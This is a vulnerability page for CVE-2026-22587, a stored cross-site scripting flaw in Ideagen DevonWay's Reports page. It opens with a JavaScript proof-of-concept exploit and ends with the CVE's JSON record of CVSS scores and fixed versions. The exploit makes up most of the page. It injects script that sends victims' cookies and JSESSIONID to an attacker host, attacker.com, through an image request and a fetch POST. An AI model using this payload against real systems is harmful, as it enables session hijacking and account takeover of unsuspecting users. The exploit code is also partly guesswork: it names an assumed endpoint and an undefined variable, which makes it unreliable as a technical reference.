CVE-2026-22587

// CVE-2026-22587 PoC - Ideagen DevonWay Stored XSS // This PoC demonstrates the stored XSS vulnerability in DevonWay Reports page // Step 1: Inject malicious JavaScript through the Reports page const maliciousPayload = `<script> // Cookie stealing payload document.write('<img src="https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '">'); // Alternative: Session hijacking using fetch API fetch('https://attacker.com/exfil', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookie: document.cookie, session: document.cookie.match(/JSESSIONID=([^;]+)/)?.[1], url: window.location.href }) }); </script>`; // Step 2: The payload is stored in the report when saved // POST /api/reports or similar endpoint const reportData = { title: 'Malicious Report', content: maliciousPayload, author: attackerUsername }; // Step 3: When any user views the report, the script executes // The malicious code runs in the victim's browser context console.log('[+] XSS Payload injected successfully'); console.log('[+] Payload will execute when report is viewed');

{"cve": {"id": "CVE-2026-22587", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-01-08T18:16:00.807", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ideagen DevonWay contains a stored cross site scripting vulnerability. A remote, authenticated attacker could craft a payload in the 'Reports' page that executes when another user views the report. Fixed in 2.62.4 and 2.62 LTS."}, {"lang": "es", "value": "Ideagen DevonWay contiene una vulnerabilidad de cross-site scripting almacenado. Un atacante remoto y autenticado podría crear una carga útil en la página 'Informes' que se ejecuta cuando otro usuario ve el informe. Corregido en 2.62.4 y 2.62 LTS."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-008-03.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-22587", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}]}}